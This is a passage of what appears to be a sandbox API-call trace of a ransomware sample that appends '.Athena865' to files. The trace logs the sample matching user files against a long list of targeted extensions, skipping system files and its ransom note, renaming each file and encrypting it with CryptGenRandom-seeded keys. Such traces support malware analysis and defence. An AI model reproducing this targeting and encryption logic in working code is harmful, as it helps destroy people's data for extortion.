lpString2="ba_") returned 1 [0050.805] lstrlenW (lpString="dbb") returned 3 [0050.805] lstrcmpiW (lpString1="lsx", lpString2="dbb") returned 1 [0050.805] lstrlenW (lpString="vmdk") returned 4 [0050.805] lstrcmpiW (lpString1="xlsx", lpString2="vmdk") returned 1 [0050.805] lstrlenW (lpString="rar") returned 3 [0050.805] lstrcmpiW (lpString1="lsx", lpString2="rar") returned -1 [0050.805] lstrlenW (lpString="zip") returned 3 [0050.805] lstrcmpiW (lpString1="lsx", lpString2="zip") returned -1 [0050.805] lstrlenW (lpString="tgz") returned 3 [0050.805] lstrcmpiW (lpString1="lsx", lpString2="tgz") returned -1 [0050.806] lstrlenW (lpString="vbox") returned 4 [0050.806] lstrcmpiW (lpString1="xlsx", lpString2="vbox") returned 1 [0050.806] lstrlenW (lpString="vdi") returned 3 [0050.806] lstrcmpiW (lpString1="lsx", lpString2="vdi") returned -1 [0050.806] lstrlenW (lpString="vhd") returned 3 [0050.806] lstrcmpiW (lpString1="lsx", lpString2="vhd") returned -1 [0050.806] lstrlenW (lpString="vhdx") returned 4 [0050.806] lstrcmpiW (lpString1="xlsx", lpString2="vhdx") returned 1 [0050.806] lstrlenW (lpString="avhd") returned 4 [0050.806] lstrcmpiW (lpString1="xlsx", lpString2="avhd") returned 1 [0050.806] lstrlenW (lpString="db") returned 2 [0050.806] lstrcmpiW (lpString1="sx", lpString2="db") returned 1 [0050.806] lstrlenW (lpString="db2") returned 3 [0050.806] lstrcmpiW (lpString1="lsx", lpString2="db2") returned 1 [0050.806] lstrlenW (lpString="db3") returned 3 [0050.806] lstrcmpiW (lpString1="lsx", lpString2="db3") returned 1 [0050.806] lstrlenW (lpString="dbf") returned 3 [0050.806] lstrcmpiW (lpString1="lsx", lpString2="dbf") returned 1 [0050.806] lstrlenW (lpString="mdf") returned 3 [0050.806] lstrcmpiW (lpString1="lsx", lpString2="mdf") returned -1 [0050.806] lstrlenW (lpString="mdb") returned 3 [0050.806] lstrcmpiW (lpString1="lsx", lpString2="mdb") returned -1 [0050.806] lstrlenW (lpString="sql") returned 3 [0050.806] lstrcmpiW (lpString1="lsx", lpString2="sql") returned -1 [0050.806] lstrlenW (lpString="sqlite") returned 6 [0050.806] lstrcmpiW (lpString1="I.xlsx", lpString2="sqlite") returned -1 [0050.806] lstrlenW (lpString="sqlite3") returned 7 [0050.806] lstrcmpiW (lpString1="EI.xlsx", lpString2="sqlite3") returned -1 [0050.806] lstrlenW (lpString="sqlitedb") returned 8 [0050.806] lstrcmpiW (lpString1="eEI.xlsx", lpString2="sqlitedb") returned -1 [0050.806] lstrlenW (lpString="xml") returned 3 [0050.806] lstrcmpiW (lpString1="lsx", lpString2="xml") returned -1 [0050.806] lstrlenW (lpString="$er") returned 3 [0050.807] lstrcmpiW (lpString1="lsx", lpString2="$er") returned 1 [0050.807] lstrlenW (lpString="4dd") returned 3 [0050.807] lstrcmpiW (lpString1="lsx", lpString2="4dd") returned 1 [0050.807] lstrlenW (lpString="4dl") returned 3 [0050.807] lstrcmpiW (lpString1="lsx", lpString2="4dl") returned 1 [0050.807] lstrlenW (lpString="^^^") returned 3 [0050.807] lstrcmpiW (lpString1="lsx", lpString2="^^^") returned 1 [0050.807] lstrlenW (lpString="abs") returned 3 [0050.807] lstrcmpiW (lpString1="lsx", lpString2="abs") returned 1 [0050.807] lstrlenW (lpString="abx") returned 3 [0050.807] lstrcmpiW (lpString1="lsx", lpString2="abx") returned 1 [0050.807] lstrlenW (lpString="accdb") returned 5 [0050.807] lstrcmpiW (lpString1=".xlsx", lpString2="accdb") returned -1 [0050.807] lstrlenW (lpString="accdc") returned 5 [0050.807] lstrcmpiW (lpString1=".xlsx", lpString2="accdc") returned -1 [0050.807] lstrlenW (lpString="accde") returned 5 [0050.807] lstrcmpiW (lpString1=".xlsx", lpString2="accde") returned -1 [0050.807] lstrlenW (lpString="accdr") returned 5 [0050.807] lstrcmpiW (lpString1=".xlsx", lpString2="accdr") returned -1 [0050.807] lstrlenW (lpString="accdt") returned 5 [0050.807] lstrcmpiW (lpString1=".xlsx", lpString2="accdt") returned -1 [0050.807] lstrlenW (lpString="accdw") returned 5 [0050.807] lstrcmpiW (lpString1=".xlsx", lpString2="accdw") returned -1 [0050.807] lstrlenW (lpString="accft") returned 5 [0050.807] lstrcmpiW (lpString1=".xlsx", lpString2="accft") returned -1 [0050.807] lstrlenW (lpString="adb") returned 3 [0050.807] lstrcmpiW (lpString1="lsx", lpString2="adb") returned 1 [0050.807] lstrlenW (lpString="adb") returned 3 [0050.807] lstrcmpiW (lpString1="lsx", lpString2="adb") returned 1 [0050.807] lstrlenW (lpString="ade") returned 3 [0050.807] lstrcmpiW (lpString1="lsx", lpString2="ade") returned 1 [0050.807] lstrlenW (lpString="adf") returned 3 [0050.807] lstrcmpiW (lpString1="lsx", lpString2="adf") returned 1 [0050.808] lstrlenW (lpString="adn") returned 3 [0050.808] lstrcmpiW (lpString1="lsx", lpString2="adn") returned 1 [0050.808] lstrlenW (lpString="adp") returned 3 [0050.808] lstrcmpiW (lpString1="lsx", lpString2="adp") returned 1 [0050.808] lstrlenW (lpString="alf") returned 3 [0050.808] lstrcmpiW (lpString1="lsx", lpString2="alf") returned 1 [0050.808] lstrlenW (lpString="ask") returned 3 [0050.808] lstrcmpiW (lpString1="lsx", lpString2="ask") returned 1 [0050.808] lstrlenW (lpString="btr") returned 3 [0050.808] lstrcmpiW (lpString1="lsx", lpString2="btr") returned 1 [0050.808] lstrlenW (lpString="cat") returned 3 [0050.808] lstrcmpiW (lpString1="lsx", lpString2="cat") returned 1 [0050.808] lstrlenW (lpString="cdb") returned 3 [0050.808] lstrcmpiW (lpString1="lsx", lpString2="cdb") returned 1 [0050.808] lstrlenW (lpString="ckp") returned 3 [0050.808] lstrcmpiW (lpString1="lsx", lpString2="ckp") returned 1 [0050.808] lstrlenW (lpString="cma") returned 3 [0050.808] lstrcmpiW (lpString1="lsx", lpString2="cma") returned 1 [0050.808] lstrlenW (lpString="cpd") returned 3 [0050.808] lstrcmpiW (lpString1="lsx", lpString2="cpd") returned 1 [0050.808] lstrlenW (lpString="dacpac") returned 6 [0050.808] lstrcmpiW (lpString1="I.xlsx", lpString2="dacpac") returned 1 [0050.808] lstrlenW (lpString="dad") returned 3 [0050.808] lstrcmpiW (lpString1="lsx", lpString2="dad") returned 1 [0050.808] lstrlenW (lpString="dadiagrams") returned 10 [0050.808] lstrcmpiW (lpString1="R_eEI.xlsx", lpString2="dadiagrams") returned 1 [0050.808] lstrlenW (lpString="daschema") returned 8 [0050.808] lstrcmpiW (lpString1="eEI.xlsx", lpString2="daschema") returned 1 [0050.808] lstrlenW (lpString="db-journal") returned 10 [0050.808] lstrcmpiW (lpString1="R_eEI.xlsx", lpString2="db-journal") returned 1 [0050.808] lstrlenW (lpString="db-shm") returned 6 [0050.808] lstrcmpiW (lpString1="I.xlsx", lpString2="db-shm") returned 1 [0050.808] lstrlenW (lpString="db-wal") returned 6 [0050.809] lstrcmpiW (lpString1="I.xlsx", lpString2="db-wal") returned 1 [0050.809] lstrlenW (lpString="dbc") returned 3 [0050.809] lstrcmpiW (lpString1="lsx", lpString2="dbc") returned 1 [0050.809] lstrlenW (lpString="dbs") returned 3 [0050.809] lstrcmpiW (lpString1="lsx", lpString2="dbs") returned 1 [0050.809] lstrlenW (lpString="dbt") returned 3 [0050.809] lstrcmpiW (lpString1="lsx", lpString2="dbt") returned 1 [0050.809] lstrlenW (lpString="dbv") returned 3 [0050.809] lstrcmpiW (lpString1="lsx", lpString2="dbv") returned 1 [0050.809] lstrlenW (lpString="dbx") returned 3 [0050.809] lstrcmpiW (lpString1="lsx", lpString2="dbx") returned 1 [0050.809] lstrlenW (lpString="dcb") returned 3 [0050.809] lstrcmpiW (lpString1="lsx", lpString2="dcb") returned 1 [0050.809] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865") returned 92 [0050.809] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\uuG-k9oPeWHUR1FR_eEI.xlsx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\uug-k9opewhur1fr_eei.xlsx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\uug-k9opewhur1fr_eei.xlsx.athena865"), dwFlags=0x1) returned 1 [0050.810] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\uug-k9opewhur1fr_eei.xlsx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.810] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19210) returned 1 [0050.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.810] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.811] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.811] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.811] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e10, lpName=0x0) returned 0x154 [0050.812] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e10) returned 0x100000 [0050.812] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.813] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.813] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0050.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0050.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.814] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.814] CloseHandle (hObject=0x154) returned 1 [0050.814] CloseHandle (hObject=0x17c) returned 1 [0050.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.815] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4db3cca0, ftCreationTime.dwHighDateTime=0x1d50c9f, ftLastAccessTime.dwLowDateTime=0xa9091080, ftLastAccessTime.dwHighDateTime=0x1d54735, ftLastWriteTime.dwLowDateTime=0xa9091080, ftLastWriteTime.dwHighDateTime=0x1d54735, nFileSizeHigh=0x0, nFileSizeLow=0x7717, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vofRB78_e8.docx", cAlternateFileName="VOFRB7~1.DOC")) returned 1 [0050.815] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.815] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.815] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2=".") returned 1 [0050.815] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2="..") returned 1 [0050.815] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2="windows") returned -1 [0050.815] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2="bootmgr") returned 1 [0050.815] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2="temp") returned 1 [0050.815] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2="pagefile.sys") returned 1 [0050.816] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2="boot") returned 1 [0050.816] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2="ids.txt") returned 1 [0050.816] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2="ntuser.dat") returned 1 [0050.816] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2="perflogs") returned 1 [0050.816] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2="MSBuild") returned 1 [0050.816] lstrlenW (lpString="vofRB78_e8.docx") returned 15 [0050.816] lstrcpyW (in: lpString1=0x241e8ba, lpString2="vofRB78_e8.docx" | out: lpString1="vofRB78_e8.docx") returned="vofRB78_e8.docx" [0050.816] lstrlenW (lpString="vofRB78_e8.docx") returned 15 [0050.816] lstrlenW (lpString="Athena865") returned 9 [0050.816] lstrcmpiW (lpString1="8_e8.docx", lpString2="Athena865") returned -1 [0050.816] lstrlenW (lpString=".dll") returned 4 [0050.816] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2=".dll") returned 1 [0050.816] lstrlenW (lpString=".lnk") returned 4 [0050.816] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2=".lnk") returned 1 [0050.816] lstrlenW (lpString=".ini") returned 4 [0050.816] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2=".ini") returned 1 [0050.816] lstrlenW (lpString=".sys") returned 4 [0050.816] lstrcmpiW (lpString1="vofRB78_e8.docx", lpString2=".sys") returned 1 [0050.816] lstrlenW (lpString="vofRB78_e8.docx") returned 15 [0050.816] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\vofRB78_e8.docx.Athena865") returned 82 [0050.816] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\vofRB78_e8.docx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\vofrb78_e8.docx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\vofRB78_e8.docx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\vofrb78_e8.docx.athena865"), dwFlags=0x1) returned 1 [0050.817] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\vofRB78_e8.docx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\vofrb78_e8.docx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.817] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30487) returned 1 [0050.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.817] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.818] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.818] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.818] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a20, lpName=0x0) returned 0x154 [0050.819] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a20) returned 0x100000 [0050.820] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.820] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.820] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0050.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0050.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.821] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.821] CloseHandle (hObject=0x154) returned 1 [0050.821] CloseHandle (hObject=0x17c) returned 1 [0050.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.829] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9e180, ftCreationTime.dwHighDateTime=0x1d52ae5, ftLastAccessTime.dwLowDateTime=0x91e8ada0, ftLastAccessTime.dwHighDateTime=0x1d52f72, ftLastWriteTime.dwLowDateTime=0x91e8ada0, ftLastWriteTime.dwHighDateTime=0x1d52f72, nFileSizeHigh=0x0, nFileSizeLow=0x168c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="w5VIYDZ.xlsx", cAlternateFileName="W5VIYD~1.XLS")) returned 1 [0050.829] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.829] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2=".") returned 1 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2="..") returned 1 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2="windows") returned -1 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2="bootmgr") returned 1 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2="temp") returned 1 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2="pagefile.sys") returned 1 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2="boot") returned 1 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2="ids.txt") returned 1 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2="ntuser.dat") returned 1 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2="perflogs") returned 1 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2="MSBuild") returned 1 [0050.830] lstrlenW (lpString="w5VIYDZ.xlsx") returned 12 [0050.830] lstrcpyW (in: lpString1=0x241e8ba, lpString2="w5VIYDZ.xlsx" | out: lpString1="w5VIYDZ.xlsx") returned="w5VIYDZ.xlsx" [0050.830] lstrlenW (lpString="w5VIYDZ.xlsx") returned 12 [0050.830] lstrlenW (lpString="Athena865") returned 9 [0050.830] lstrcmpiW (lpString1="IYDZ.xlsx", lpString2="Athena865") returned 1 [0050.830] lstrlenW (lpString=".dll") returned 4 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2=".dll") returned 1 [0050.830] lstrlenW (lpString=".lnk") returned 4 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2=".lnk") returned 1 [0050.830] lstrlenW (lpString=".ini") returned 4 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2=".ini") returned 1 [0050.830] lstrlenW (lpString=".sys") returned 4 [0050.830] lstrcmpiW (lpString1="w5VIYDZ.xlsx", lpString2=".sys") returned 1 [0050.830] lstrlenW (lpString="w5VIYDZ.xlsx") returned 12 [0050.830] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\w5VIYDZ.xlsx.Athena865") returned 79 [0050.830] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\w5VIYDZ.xlsx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\w5viydz.xlsx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\w5VIYDZ.xlsx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\w5viydz.xlsx.athena865"), dwFlags=0x1) returned 1 [0050.831] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\w5VIYDZ.xlsx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\w5viydz.xlsx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.831] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=92359) returned 1 [0050.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.832] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.833] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.833] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.833] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16bd0, lpName=0x0) returned 0x154 [0050.833] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16bd0) returned 0x100000 [0050.836] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.837] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.837] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0050.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0050.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.837] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.838] CloseHandle (hObject=0x154) returned 1 [0050.838] CloseHandle (hObject=0x17c) returned 1 [0050.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.842] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeecd110, ftCreationTime.dwHighDateTime=0x1d500ac, ftLastAccessTime.dwLowDateTime=0xf5c532c0, ftLastAccessTime.dwHighDateTime=0x1d549fe, ftLastWriteTime.dwLowDateTime=0xf5c532c0, ftLastWriteTime.dwHighDateTime=0x1d549fe, nFileSizeHigh=0x0, nFileSizeLow=0x2a11, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB1Bcf.pptx", cAlternateFileName="WB1BCF~1.PPT")) returned 1 [0050.842] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.842] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.842] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2=".") returned 1 [0050.842] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2="..") returned 1 [0050.842] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2="windows") returned -1 [0050.842] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2="bootmgr") returned 1 [0050.842] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2="temp") returned 1 [0050.843] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2="pagefile.sys") returned 1 [0050.843] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2="boot") returned 1 [0050.843] lstrcmpiW (lpString1="WB1Bcf.pptx", lpString2="ids.txt") returned 1 [0050.843] 